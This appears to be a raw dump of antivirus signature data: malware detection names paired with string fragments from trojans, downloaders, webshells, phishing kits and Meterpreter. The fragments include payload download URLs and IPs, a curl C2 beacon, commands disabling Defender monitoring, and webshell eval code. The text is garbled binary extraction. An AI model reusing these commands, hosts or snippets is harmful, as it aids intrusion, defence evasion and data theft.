http://download.softobase.com/ru/ http://download.softobase.com/ru/xL !#Lowfi:HSTR:Win32/Solimba.C dmgr.Properties.Resources.resources dmgr.Properties.Resources.resourcesxL 
!#PWS:Win32/Fareit.MV!MTB !#Possible:Trojan:Kovter WinSock 2.0 Running !#SLF:HSTR:Exploit:MS1710 !#SLF:Win32/WannaCrypt.B!rsm !#TEL:Trojan:Win32/Dukozy_RC4_key A0E1054B-01EE-
4D57-A059-4D99F339709F} A0E1054B-01EE-4D57-A059-4D99F339709F}xL !#ALF:Trojan:Win32/Booktoo.B!dha \\dc_dwm_oob\\ \\SEP_WriteFile\\ \\SEP_WriteFile\\xL !#HSTR:Nivdort.BZ!jump 
!#HSTR:Ransom:Win32/Reveton.gen!B2 !#HSTR:Win32/Meterpreter!ole32 OLE32 j2hole3 !#HSTR:Win32/Meterpreter!ole32_APIs !#HSTR:Win64/Meterpreter!Kernel32.LoadLibraryA 
!#HSTR:Ransom:Win32/Reveton.gen!B1 !#ALF:HSTR:MSIL:Packer:S001 d/\"xL !#ALFPER:Meterpreter.gen!D!ws2_32 ]h32hws2_ThLw& !#HSTR:Backdoor:MSIL/Getob.D!A boteg.exe 
boteg.exe<Module> boteg.pdb boteg.pdbxL !#HSTR:Trojan:Win32/C2Lop.gen!I ;%G6- !#HSTR:Trojan:Win32/SpyNoon.AMPV6!MTB Ixkdoc VirtualProtectxL !#HSTR:VirTool:Win32/Antihv.A!Bios 
SystemBiosVersion VRTUAL VRTUALxL !#HSTR:VirTool:Win32/VBInject.ADS HijackAplication zDecoder zDecoderxL company.srl bethel.exe bethel.exexL !#TEL:VirTool:Win32/Foovoola.A <>\\uS 
!#ALF:Trojan:Win32/BdDolphin.A!dha \\bd_work\\bd\\ \\Dolphin !#ALF:Trojan:Win32/DarkShadowRecognizer.A!dha \\DotNETRecognizer\\ \\DotNETRecognizer\\xL !#HSTR:AutoAttrMsil_1C42766A 
ssembly.Memory ver.exe efsPro efsProxL !#HSTR:AutoAttrMsil_89EFB743 der.exe nder.e r.Form1.resour r.Form1.resourxL !#HSTR:AutoAttrMsil_D0DCD262 LateGe nIndent TabPagexL 
!#HSTR:Trojan:Win32/VBObfuse.AKI!MTB / !#HSTR:TrojanSpy:Win32/Wekrober_crypt !#HSTR:TrojanSpy:Win32/Wekrober_cryptd !#ALF:HSTR:Trojan:Win32/Beeldeb.D!bit 
!#ALF:Ransom:Win32/Ryuk.ZY SVW`2 !#ALF:Trojan:Win32/Zloader.ZY !#ALFPER:HSTR:ConvertAdEnc.A1 !#ALFPER:MeterpreterLoaderx86 
!#EFI_BLUETOOTH_IO_SERVICE_BINDING_PROTOCOL_GUID !#EFI_BUS_SPECIFIC_DRIVER_OVERRIDE_PROTOCOL_GUID 
!#EFI_NETWORK_INTERFACE_IDENTIFIER_PROTOCOL_GUID !#HSTR:EnableDeepAnalysisForGoldMax main.send_co mand_result !#HSTR:Knonyme_filedecode.A 
!#HSTR:Nivdort.EK!GetProcAddress !#HSTR:Possible:Crowti !#HSTR:PossiblyClean:AppViewer.URL.A .cmoney.tw/appxM !#HSTR:SonoControl_Bundler sonocontrol.com Sono Control 
sonocontrol.comPublisherSono ControlxM !#HSTR:TrojanDownloader:Win32/Small.IJ !#HSTR:TrojanSpy:Win32/Nivdort.G7 !#HSTR:VirTool:Win32/Obfuscator.PN!crc_key_2 
!#HSTR:VirTool:Win32/Obfuscator.PN!k4_k5.0_345C !#HSTR:Win32/Meterpreter!Kernel32.WaitForSingleObject !#Injector.DH !#Lowfi:HSTR:Win32/ArcadeYum $ArcadeYum SoftwarxM 
!#Lowfi:HSTR:Win32/Fenomen http://www.fenomen-games.com/dhome.htm http://www.fenomen-games.com/dhome.htmxM !#Lowfi:HSTR:Win32/MediaGet <mediagetLaunched></mediagetLaunched> 
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wob9OWH%~d5ydk0tj6SD**{79Y7D|}qR2P%hLtEexN !#HSTR:XmlSerialGadgetMvDict typeserializablemultivaluedictionary typeserializablemultivaluedictionaryxN !#Lowfi:HSTR:Win32/DealPly.B 
CIPCListenerClient::OnInjectionConfig CIPCListenerClient::OnInjectionConfigxN !#Lowfi:HSTR:Win32/FastLoads http://fast-loads2.name/agreement.php http://fast-loads2.name/agreement.phpxN 
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!#HSTR:IsWinlogon winlogon.PDB MICROSOFT_AUTHENTICATION_PACKAGE MICROSOFT_AUTHENTICATION_PACKAGExN !#HSTR:Trojan:Win32/Guloader.AV7!MTB 
!#HSTR:VirTool:Win32/VBInject.ACE obalxN !#Lowfi:HSTR:BlankitDropper itter_ Sorvete.exexN !#TELPER:HSTR/HashtagBanload I1JDTlQj I1BNU0Uj !#TELPER:Trojan:Win32/PlaKeylog.A!dha 
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!#HSTR:Backdoor:Win32/Plugx!timecheck !#HSTR:Trojan:Win32/Vundo.IU !#ALF:Backdoor:Drixed:Service $ worker_x !#ALF:Trojan:Win32/Lokibot.RI!MTB   !#HSTR:Win32/Harlook tmp32tmp\\ 
\\mail.rptx tmp32tmp\\\\mail.rptx !#ALF:Backdoor:MSIL/Bladabindi.MMF!MTB !#ALF:HSTR:Codecopy.S01 !#ALF:HSTR:HackTool:MSIL/Suspicious.SkypeCracker SkypeCracker.exe 
SkypeCracker.exexO !#HSTR:AutoitItV3ModAU3!Mark &#SVW !#HSTR:ListControlVirtualProtectCall !#HSTR:MSIL/Base64Decoder.A !#HSTR:MSIL/Tisifi.RA1!MTB !This program cannot be run in 
DOS mode.xO !#HSTR:MSIL/lnk.exe.temp.A .exe.lnk !#HSTR:Obfuscator_mod_init_buffer !#HSTR:PWS:Win32/Lmir.gen!C !#HSTR:PWS:Win32/Lmir.gen!F 
!#HSTR:PossiblyClean:BloombergProfessional.ModuleName.A Wintrv.exe Wintrv.exexO !#HSTR:PossiblyClean:Computrace.FileName.A AVXmFile.xmlxO 
!#HSTR:PossiblyClean:Win32/onlinebrief24.ModuleName.A onlinebrief24 onlinebrief24xO !#HSTR:StrObf_TransferComplete E8 xO !#HSTR:Thinstall ThinApp Boot Loader ErrorxO 
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mqsec.pdbj ExitProcessKERNEL32.dllUc.a MQSEC.DLL MQSigCloneCertFromReg MQSigCloneCertFromSysStore MQSigCreateCertificate 
MQSEC.DLLMQSigCloneCertFromRegMQSigCloneCertFromSysStoreMQSigCreateCertificate   $ mqutil.pdb mqutil.pdbj ExitProcessKERNEL32.dllTc.a MQUTIL.DLL MQGetResourceHandle 
MQUTIL.DLLMQGetResourceHandle   $ RSDSn netsh.pdb netsh.pdbj ExitProcessKERNEL32.dllUc.a< NETSH.EXE FreeString MakeQuotedString MakeString MatchEnumTag MatchToken PrintError 
PrintMessage PrintMessageFromModule RegisterContext RegisterHelper 
\tNETSH.EXEFreeStringMakeQuotedStringMakeStringMatchEnumTagMatchTokenPrintErrorPrintMessagePrintMessageFromModuleRegisterContextRegisterHelper   $ .reloc(@ RSDST/ C:\\RSDST/ 
shfolder.pdb QPPh, =8/Q| GetVolumeInformationWKERNEL32.dllid.a< SHFOLDER.DLL SHGetFolderPathA SHELL32.SHGetFolderPathA SHGetFolderPathW SHELL32.SHGetFolderPathW 
SHFOLDER.DLLSHGetFolderPathASHELL32.SHGetFolderPathASHGetFolderPathWSHELL32.SHGetFolderPathW m0v0~0   $ .textp cards.pdb ExitProcessKERNEL32.dllJc.a4 CARDS.DLL 
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SHFOLDER.DLLSHGetFolderPathASHELL32.SHGetFolderPathASHGetFolderPathWSHELL32.SHGetFolderPathW m0v0~0   $ .textp cards.pdb ExitProcessKERNEL32.dllJc.a4 CARDS.DLL 
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!Renos.gen!BH H0&&_ !Harnig.EJ !Koobface.K !Vundo.MD hsuid=%s&cuid=%s&affid=%d&tid=%s&cver=%d&li=%d&bi=%d 8/pldr/test.jpgexplorer.exe LSDM_Mtx !Vundo.ME R\\Internet 
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/!#SCPT:TrojanDownloader:O97M/EncDoc.FYZ!MTB!ZY6 )X/!#SCPT:TrojanDownloader:O97M/EncDoc.FYZ!MTB!ZY6 /!#SCPT:TrojanDownloader:O97M/EncDoc.TAE!MTB!TE1 
)X/!#SCPT:TrojanDownloader:O97M/EncDoc.TAE!MTB!TE1 http://rocesi.com/mncejd.exe /!#SCPT:TrojanDownloader:O97M/EncDoc.TIT!MTB!TJ3 
)X/!#SCPT:TrojanDownloader:O97M/EncDoc.TIT!MTB!TJ3 <si><t>downloadfile</t></si> /!#SCPT:TrojanDownloader:O97M/EncDoc.VHT!MTB!VT1 
)X/!#SCPT:TrojanDownloader:O97M/EncDoc.VHT!MTB!VT1 http://193.38.55.92/gfmppbpq /!#SCPT:TrojanDownloader:O97M/EncDoc.VHW!MTB!VW1 
)X/!#SCPT:TrojanDownloader:O97M/EncDoc.VHW!MTB!VW1 http://194.5.249.101/api.php /!#SCPT:TrojanDownloader:O97M/EncDoc.VHY!MTB!VY1 
)X/!#SCPT:TrojanDownloader:O97M/EncDoc.VHY!MTB!VY1 http://185.14.30.131/api.php /!#SCPT:TrojanDownloader:O97M/EncDoc.XCH!MTB!CH1 
)X/!#SCPT:TrojanDownloader:O97M/EncDoc.XCH!MTB!CH1 https://chpingnow.xyz/21.psd /!#SCPT:TrojanDownloader:O97M/Zloader.CL!MTB!CL4 
)X/!#SCPT:TrojanDownloader:O97M/Zloader.CL!MTB!CL4 0!#SCPT:PowerShell.InvokeObfuscation.CreateThread )X0!#SCPT:PowerShell.InvokeObfuscation.CreateThread kernel32.dllcreatethread),( 
0!#SCPT:PowerShell.InvokeObfuscation.VirtualAlloc )X0!#SCPT:PowerShell.InvokeObfuscation.VirtualAlloc kernel32.dllvirtualalloc),( 0!#SCPT:Trojan:PowerShell/ReflectivePEInjection.A 
)X0!#SCPT:Trojan:PowerShell/ReflectivePEInjection.A 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOI!MTB!OI1 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOI!MTB!OI1 
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)X0!#SCPT:Trojan:PowerShell/ReflectivePEInjection.A 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOI!MTB!OI1 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDOI!MTB!OI1 
<v>44329,6550195602.dat</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTC!MTB!TC1 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTC!MTB!TC1 <v>44340,6449053241.dat</v> 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTY!MTB!TY4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IDTY!MTB!TY4 <f>run(sobr!h4)</f><v>0</v> 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAG!MTB!AG3 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAG!MTB!AG3 <f>goto('3fescvaer'!h4)</f> 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ3 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ3 <f>goto('4scdac'!g3)</f><v> 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAJ!MTB!TJ4 <f>d9&amp;d10</f><v>exe</v> 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAM!MTB!TM4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAM!MTB!TM4 <si><t>32-s\"&amp;\".\"&amp;\". 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAO!MTB!AO3 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAO!MTB!AO3 0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAU!MTB!AU3 
)X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAU!MTB!AU3 <f>goto('6vrtgarga'!f8)</f> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAQ!MTB!AQ4 
)X0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAQ!MTB!AQ4 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAB!MTB!GB9 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAB!MTB!GB9 
0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAM!MTB!AM6 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAM!MTB!AM6 0!#SCPT:TrojanDownloader:O97M/EncDoc.IIAF!MTB!IF7 
)X0!#SCPT:TrojanDownloader:O97M/EncDoc.IIAF!MTB!IF7 <f>\"regsvr32..\\kro.fis\"</f> 0!#SCPT:TrojanDownloader:O97M/EncDoc.RGEF!MTB!EF4 
)X0!#SCPT:TrojanDownloader:O97M/EncDoc.RGEF!MTB!EF4 regsvr32.exe</t></si></sst> 0!#SCPT:TrojanDownloader:O97M/EncDoc.VIOK!MTB!OK4 
)X0!#SCPT:TrojanDownloader:O97M/EncDoc.VIOK!MTB!OK4 <si><t>loadtofilea</t></si> 0!#SCPT:TrojanDownloader:O97M/TrickBot.HI!MTB!HI1 
)X0!#SCPT:TrojanDownloader:O97M/TrickBot.HI!MTB!HI1 http://81.16.141.208/q37kkp 0!#SCPT:TrojanDownloader:O97M/Zloader.LOZ!MTB!OL6 
)X0!#SCPT:TrojanDownloader:O97M/Zloader.LOZ!MTB!OL6 <si><t>jjccccj</t></si><si> 0!#SCPT:TrojanDownloader:O97M/Zloader.RYR!MTB!RY3 
)X0!#SCPT:TrojanDownloader:O97M/Zloader.RYR!MTB!RY3 teagygk=sheet1!$b$61:$b$113 )X1!#ALF:TrojanDownloader:Script/CobaltStrike.VA!MSR serviceboostnumberone.com0 
)X2!#SCPT:TrojanDownloader:Script/CobaltStrike.GA!MSR seventhserviceupdater.com 2!#SCRIPT:PowerShell/WinApiCreateToolhelp32Snapshot 
)X2!#SCRIPT:PowerShell/WinApiCreateToolhelp32Snapshot createtoolhelp32snapshot( 3!#SCPT:TrojanDownloader:PowerShell/FakePatch.A!hta1 
)X3!#SCPT:TrojanDownloader:PowerShell/FakePatch.A!hta1 https://ahtaeereddit.org 3!#SCRIPT:SoftwareBundler:Win32/InstallMonetizer.A-4 )X3!#SCRIPT:SoftwareBundler:Win32/InstallMonetizer.A-
4 blowfish.dllm0l3z5s0g1me 4!#SCPT:Trojan:JS/IframeRef!rogue_vector_001_screen02 )X4!#SCPT:Trojan:JS/IframeRef!rogue_vector_001_screen02 breakage.\";varaskerr=1; 
4!#SCPT:TrojanDownloader:JS/Nemucod.EvalActiveXObject )X4!#SCPT:TrojanDownloader:JS/Nemucod.EvalActiveXObject =eval(\"activexobject\"); !#BLJammer.A regadd Bregadd  
\\software\\policies\\microsoft\\fve /vrecoverykeymessage !#SCPT:Robideo.A <f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".txt\"</f> >
<f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".txt\"</f> !#SCPT:Robideo.B <f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".vbs\"</f> >
<f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".vbs\"</f> !#SCPT:JS/Mult.Z1 /index.php'; =/index.php'; ';var f';var !#SCRIPT:HolAtt.E 
user_name=$get_user&os_name=$get_os&domain_name=$get_domain =user_name=$get_user&os_name=$get_os&domain_name=$get_domain !#SCRIPT:Ploty.H2 =add-type-member ==add-type-
member -name\" \"-namespacewin32functions-p !#SCPT:CoreDriveAO core_buildrbraddr__n <core_buildrbraddr__n t_server__th_clienthichan_hchr/r&rr !#SCPT:Nemucod.CY4 )]<4){wscript[( <)]<4)
{wscript[( =wscript[ ()](( !#SCPT:PDF/Pididod action/s/uri/uri(https://piscineconstruct.ro/kjy/index.php <action/s/uri/uri(https://piscineconstruct.ro/kjy/index.php !#SCRIPT:JS/NewWASM 
=newwebassembly.instance(newwebassembly.module( ;=newwebassembly.instance(newwebassembly.module( !#Trojan:VBS/Vmnat3 ;savetofile(\"c:\\users\\ 0.exe\",\"2\"); !#ALF:SCPT:Vango!ini 
[http]documentroot= :[http]documentroot= :\\windows\\temp\\db\\rdp\\rdp\\webroot\\ !#JAM:AppdataFileExe ifilesystem :ifilesystem .fileexists(\"c:\\users\\ 0.exe\" !#SCPT:ReverseBase64 (strreverse(\" :
(strreverse(\" 'abcdefghijklmnopqrstuvwxyz0123456789+/= !#SCRIPT:Naibi.A!lnk \\windows\\system32\\wscript.exe/e:vbscript.encodeiphon.mp3 
:\\windows\\system32\\wscript.exe/e:vbscript.encodeiphon.mp3 !#SCRIPT:PS.DecBytes :[byte[]]$ !#SCPT:JS/Downloadify downloadify.defaultoptions={swf:\"media/downloadify.swf\" 
9downloadify.defaultoptions={swf:\"media/downloadify.swf\" !#SLF:AsmblyLoadReg.B 9.run(\" `[reflection.assembly]::load((itempropertyhkcu: r.open(\"post\",\"https:\"+\"//\"+hostname+\"/ext/stat?\"+qs); 
8r.open(\"post\",\"https:\"+\"//\"+hostname+\"/ext/stat?\"+qs); !#SCPT:Bondat.A5!jamsi \\programs\\startup\\start.lnk\");iwshshortcut.targetpath( 8\\programs\\startup\\start.lnk\");iwshshortcut.targetpath( 
!#SCPT:HafniumShell_10 dir/b/sc:\\windows\\x90 8dir/b/sc:\\windows\\x90 ^>c:\\windows\\x90 >>c:\\windows\\ 5.206.227.168/haoyun/office/next.php', 85.206.227.168/haoyun/office/next.php', url:'http://  
_url:'http:// bidarpanda.com/autosau/payinpdf.php', 8bidarpanda.com/autosau/payinpdf.php',  lacaiixa.com/style/style/sendjf.php', 8lacaiixa.com/style/style/sendjf.php',  !#SCPT:AutoIt/Banload.2 7for$ 
2=1tostringlen($ 5&=chr(bitxor(asc(stringmid($ !#SCPT:BAT/PWSLeben.HZ1 powershell\"iwr-uri 7powershell\"iwr-uri /firstga990.php-methodpost-body' !#SCPT:CVE-2019-1653-BD 
{*}weseemtohavefoundavalidencryptedconfig!writingto%s 7{*}weseemtohavefoundavalidencryptedconfig!writingto%s !#SCPT:HTMLShellcode.A2 definitialize(info={})super(update_info(info,'name'=> 
7definitialize(info={})super(update_info(info,'name'=> !#SCPT:PDF/MLTriggers.1 0r>>/procset[/pdf/text/imageb/imagec/imagei]>>/annots 70r>>/procset[/pdf/text/imageb/imagec/imagei]>>/annots 
!#SCRIPT:BrowserArray.A foreachbrowserinbrowsers:browserdic.addlcase(browser) 7foreachbrowserinbrowsers:browserdic.addlcase(browser) !#Scpt:Cln:Ifenion3!MTB 
#kx7zuqibaaibaaibaaibaaibadaxma0gcwcgsaflawqcaquabca2 7#kx7zuqibaaibaaibaaibaaibadaxma0gcwcgsaflawqcaquabca2 !#Trojan:MacOS/Snake.A1 target_path}/installdp\"cp-
f\"${script_dir}/installd.sh 7target_path}/installdp\"cp-f\"${script_dir}/installd.sh !#PUA:MacOS/Bundlore.Sd1 #!/usr/bin/envbashtmp_file=\"/tmp/e_$(date+%s)\"printf 
6#!/usr/bin/envbashtmp_file=\"/tmp/e_$(date+%s)\"printf http://istanbulyilbasimekanlari.com/tracking-number- 6http://istanbulyilbasimekanlari.com/tracking-number- !#SCPT:Exploit:JS/Coolex 
try{document.body++;}catch( 6try{document.body++;}catch( if(navigator.plugins&& !#SCPT:JS/Obfuse.PY1!MTB c:\\users\\farids~1\\appdata\\local\\temp\\payments.doc.js 
6c:\\users\\farids~1\\appdata\\local\\temp\\payments.doc.js !#SCPT:JS/Phish.RTJ2!MTB //window.location.replace(response['redirect_link']) 6//window.location.replace(response['redirect_link']) 
hdvhfhdhd.duckdns.org/pu/post.php', 6hdvhfhdhd.duckdns.org/pu/post.php',  logz.live/frnd/shally/connect.php', 6logz.live/frnd/shally/connect.php',  www.newltd.ga/wp-admin/zlords.php', 
6www.newltd.ga/wp-admin/zlords.php',  formdata.append(idtercero,idtercero);formdata.append 6formdata.append(idtercero,idtercero);formdata.append !#SCPT:OwakeWriteTempMSK 
system.io.file.appendalltext(\"c:\\\\windows\\\\temp\\\\msk 6system.io.file.appendalltext(\"c:\\\\windows\\\\temp\\\\msk !#SCPT:PWS:HTML/Pdfphish action/s/uri/uri(http://pmevents.co.in/nd/index.php) 
6action/s/uri/uri(http://pmevents.co.in/nd/index.php) !#SCPT:TechBroloCall.1.A alert(\"warning:\"+isp+\"customer(\"+ip+\")from\"+city+\"\\n 6alert(\"warning:\"+isp+\"customer(\"+ip+\")from\"+city+\"\\n 
!#SCRIPT:Python/Raywa.A2 #chromestealerchan 6#chromestealerchan ifline1.find(\"!chrome\")!=-1and( !#SCPT:PowNTSTATSecRegKey hkcu:\\software\\microsoft\\office\\$i.0\\excel\\security 
5hkcu:\\software\\microsoft\\office\\$i.0\\excel\\security !#SCPT:Tobeet_Js_379955FB return{eep:newregexp(hrtroo,string.fromcharcode(103 5return{eep:newregexp(hrtroo,string.fromcharcode(103 
!#SCPT:Tobeet_Js_B86E0D1E ();functiondl(){varhost='http://king.connectioncdn. 5();functiondl(){varhost='http://king.connectioncdn. !#SCRIPT:JS/Nemucod.QX.04 ,false); 5,false); a-z0-9.send();if( a-
z0-9.status==200 !#SCRIPT:Python/Pourri.B3 parser.add_argument(\"target\",nargs=1,type=str,help= 5parser.add_argument(\"target\",nargs=1,type=str,help= 
<scriptsrc='https://camillesanz.com/lib/status.js'> 5<scriptsrc='https://camillesanz.com/lib/status.js'> 5<scriptsrc= http://jquerystatistics.org/update.js !#TEL:HTML/Meadgive!shell \"eb125831c966b9 
5\"eb125831c966b9 49803408 85c975f7ffe0e8e9ffffff alert(\"caseid:{ 5alert(\"caseid:{ }:dear{connection-isp 0}customer !#Trojan:JS/Valak.PK4!MTB 
return\"/\"+config.c2_prefix+\"/\"+querystring+\".html\"; 5return\"/\"+config.c2_prefix+\"/\"+querystring+\".html\"; !#Trojan:MacOS/SpyEvil.A1 #!/bin/bashv=$(curl--silenthttp://usb.mine.nu/p.php 
5#!/bin/bashv=$(curl--silenthttp://usb.mine.nu/p.php !#Trojan:MacOS/SpyEvil.B1 returnhexlify(getpass.getuser()+\"-\"+str(getnode())) 5returnhexlify(getpass.getuser()+\"-\"+str(getnode())) 
!#SCPT:O97M/Qakbot.VA2!MTB <si><t>https://abpandh.com/drms/fert.html</t></si> 4<si><t>https://abpandh.com/drms/fert.html</t></si> !#SCRIPT:Possible_CommonJs 
//startcommon.common.js//(c)2010codeplexfoundation 4//startcommon.common.js//(c)2010codeplexfoundation !#SCRIPT:WDImpairDefense.A set-mppreference 4set-mppreference 0-
disablebehaviormonitoring$true 0-disablerealtimemonitoring$true !#SCRIPT:Win32/AntiVboxAu3 ifprocessexists(\"vboxtray.exe\")and$ 4ifprocessexists(\"vboxtray.exe\")and$ 0=\"1\"thenexit 
!#TEL:Trojan:O97M/Obfuse.K {\\rtf{\\object\\objocx\\objupdate\\objw 4{\\rtf{\\object\\objocx\\objupdate\\objw !#Trojan:BAT/Tskill.C!Pra1 tasklist 4tasklist /fi\"imagenameeq |find/ !#Trojan:BAT/Tskill.C!Pra5 
.bkp\"  .bkp !#Trojan:JS/Rozena.CS6!MTB chrome.tabs.executescript({code:config.jscommand}) 4chrome.tabs.executescript({code:config.jscommand}) !#PossiblePangimopControl-g 
<paramname=\"javafx_version\"value=\"2.0+\"></applet> 3<paramname=\"javafx_version\"value=\"2.0+\"></applet> !#SCPT:Exploit:JS/Archost.A sendstr+=encodeuri(\"dump=\"+flashver+\"|\"+silverver 
3sendstr+=encodeuri(\"dump=\"+flashver+\"|\"+silverver !#SCPT:JS/DownloadifyBase64 swf:'assets/downloadify.swf', 3swf:'assets/downloadify.swf', datatype:'base64' \\rimo1.dll..\\rimo1.dll% 
3\\rimo1.dll..\\rimo1.dll% \\rimo2.dll..\\rimo2.dll% !#SCPT:O97M/IcedId.RVS3!MTB <v>http://45.138.157.216/44313,6048108796.dat</v> 3<v>http://45.138.157.216/44313,6048108796.dat</v> 
!#SCPT:lnk_wscript_vbscript endfunction>file.txt&&wscript//e:vbscriptfile.txt 3endfunction>file.txt&&wscript//e:vbscriptfile.txt !#SCRIPT:Worm:JS/Bondat!lnk /cstartwscript\".trashes\\ 
3/cstartwscript\".trashes\\ \t.js\"& \".trashes\\ 3\\x73\\x74\\x61\\x72\\x74 =newcoinhive.user( !#Trojan:JS/Pterodo.PK3!MTB del/f/q\"%appdata%\\microsoft\\addins\\addcrypt*.vbs\" 
3del/f/q\"%appdata%\\microsoft\\addins\\addcrypt*.vbs\" !#Trojan:MacOS/BirdMiner.A1 -maccel=hvf--cpuhost/library/application\\support/ 3-maccel=hvf--cpuhost/library/application\\support/ 
!#Trojan:PHP/Webshell.B!lf2 make.htaccessfileaccessibleoverweb<files~\"^\\.ht\"> 3make.htaccessfileaccessibleoverweb<files~\"^\\.ht\"> !#Trojan:VBS/CoinMiner_sad7 .run(\"csrs.exe--servereu1-
zcash.flypool.org--port 3.run(\"csrs.exe--servereu1-zcash.flypool.org--port !#Trojan:VBS/DrpSpoof.A!al2 temppath+\"\\\"+appname+\"%number_of_processors%.exe\" 
3temppath+\"\\\"+appname+\"%number_of_processors%.exe\" !#PUA:MacOS/SurfBuyer.A1!MTB service.macinstallerinfo.com/tracking/cm_mac.php 2service.macinstallerinfo.com/tracking/cm_mac.php 
!#SCPT:HTML/Phish.VISP33!MTB window.location.replace(\"http://www.\"+my_slice); 2window.location.replace(\"http://www.\"+my_slice); !#SCPT:LowfiTrojan:JS/Auto47 <style>x\\:*{display:inline-
block;behavior:url(#d 2<style>x\\:*{display:inline-block;behavior:url(#d !#SCPT:O97M/EncDoc.VPPL2!MTB </f><v>dll32\"&amp;\"..\\lertio.cersw\"&amp;\",dll</v 2</f>
<v>dll32\"&amp;\"..\\lertio.cersw\"&amp;\",dll</v !#SCPT:O97M/IcedId.RVS12!MTB <v>http://185.82.218.30/44313,6048108796.dat</v> 2<v>http://185.82.218.30/44313,6048108796.dat</v> 
!#SCPT:Ploty.CVE-2017-0199.1 002f00640065006600610075006c0074002e006800740061 2002f00640065006600610075006c0074002e006800740061 !#SCPT:Trojan:BAT/Starter.G1 
/cstartwscript/e:vbscript.encodemanuel.doc&start 2/cstartwscript/e:vbscript.encodemanuel.doc&start !#SCRIPT:PHP/Dirtelti.M3!MTB fputs( 2fputs( .system(\"whoami\"). .\"\\n\"); 
!#SCRIPT:PHP/Dirtelti.X4!MTB =$_request[' 2=$_request[' '];preg_replace('/.*/e',''.$a,'') !#SCRIPT:Win32/HookTV.B2!MTB c:\\windows\\temp\\hook.exe>c:\\windows\\temp\\log.txt 
2c:\\windows\\temp\\hook.exe>c:\\windows\\temp\\log.txt !#Trojan:JS/Sodinokibi.SA!A6 2function ;while( !#Backdoor:PHP/Webshell.Q!vc2 showopenports(nst)netstat-an|greplisten|greptcp 
1showopenports(nst)netstat-an|greplisten|greptcp !#Hacktool:JS/NatSlipSteam.A4 my$pcap=pcap_open_live($dev,1024*10,0,0,\\$err); 1my$pcap=pcap_open_live($dev,1024*10,0,0,\\$err); 
!#SCPT:Exploit:JS/Meadgive.AB shape\"),d2[e3].appendchild(ah[e]);for(gm=d2[o3] 1shape\"),d2[e3].appendchild(ah[e]);for(gm=d2[o3] '%temp%\\ 1'%temp%\\  .exe');start-process'%temp%\\  .bat');start-
process\"%temp%\\ !#SCPT:Trojan:JS/MacApfell.AB application('google 1application('google chrome');if ['running'] !#SCPT:Trojan:VBA/Downldr.CS4 hyperlink->http://employeeportal.net-login.com/ 
1hyperlink->http://employeeportal.net-login.com/ =\"%\"; 1=\"%\";  =unescape(  eval( !#SCRIPT:HTML/BankPhishLogo.A src=\"http 1src=\"http /img/logos/barclays-logo.png\" 
!#SCRIPT:HTML/FreyalpButton.B class=\"download_link\" 1class=\"download_link\" ><divid=\"switch\"></div> !#SCRIPT:PowerShell/WmiObject get-wmiobject-classwin32_computersystem).domain 
1get-wmiobject-classwin32_computersystem).domain !#SCRIPT:Python/Phokis.A1!MTB os.system(\"adb-s\"+ 1os.system(\"adb-s\"+  +\"shellinputkeyevent\"+ !#SCRIPT:Trojan:JS/Psyme.AE.1 <html>
<body><divstyle=\"visibility:hidden\"><div> 1<html><body><divstyle=\"visibility:hidden\"><div> !#SCRIPT:Worm:VBS/Jenxcus.BH4 shellobj.run\"wscript.exe//b\"&chr(34)&installdir 
1shellobj.run\"wscript.exe//b\"&chr(34)&installdir !#Script:Worm:VBS/Jenxcus.RV2 select*fromwin32_processwherename='wscript.exe' 1select*fromwin32_processwherename='wscript.exe' 
!#Trojan:BAT/ClearSteal.B!MTB %allusersprofile%\\sppextcomtel\\sppextcomtel.scr 1%allusersprofile%\\sppextcomtel\\sppextcomtel.scr !#Trojan:Win32/Inmal!lnk!ats1 coronavirus.doc.l 
1coronavirus.doc.l  k>\"%tmp%\\  \"&\"%tmp%\\ !#ALF:Backdoor:PHP/WebShell.RN {eval/* 0{eval/* ]]);}exit();} !#Backdoor:Linux/Dakkatoni.Sa1 /ap/at.x86;catat.x86>ca;chmod+x*;./cabackdoors 
0/ap/at.x86;catat.x86>ca;chmod+x*;./cabackdoors !#HackTool:Python/Syswhispers2 syswhispers:whycallthekernelwhenyoucanwhisper? 0syswhispers:whycallthekernelwhenyoucanwhisper? 
!#SCPT:Downloader:VBS/Agent.A1 zeb=\"s\"&\"t\"&\"ar\"&\"t\"objshell.shellexecutechrw( 0zeb=\"s\"&\"t\"&\"ar\"&\"t\"objshell.shellexecutechrw( !#SCPT:Trojan:HTML/Phish.SMT31 
varc=my_slice.substr(0,my_slice.indexof('.')); 0varc=my_slice.substr(0,my_slice.indexof('.')); !#SCPT:Trojan:Win32/WinLNK.JK1 http://ktr.freedynamicdns.org/backups/post.php 
0http://ktr.freedynamicdns.org/backups/post.php !#SCRIPT:PSWinAPIdefinitions.A add-type-memberdefinition 0add-type-memberdefinition -namespace infinite);(2047,4),HKLM\\SYSTEM\\*
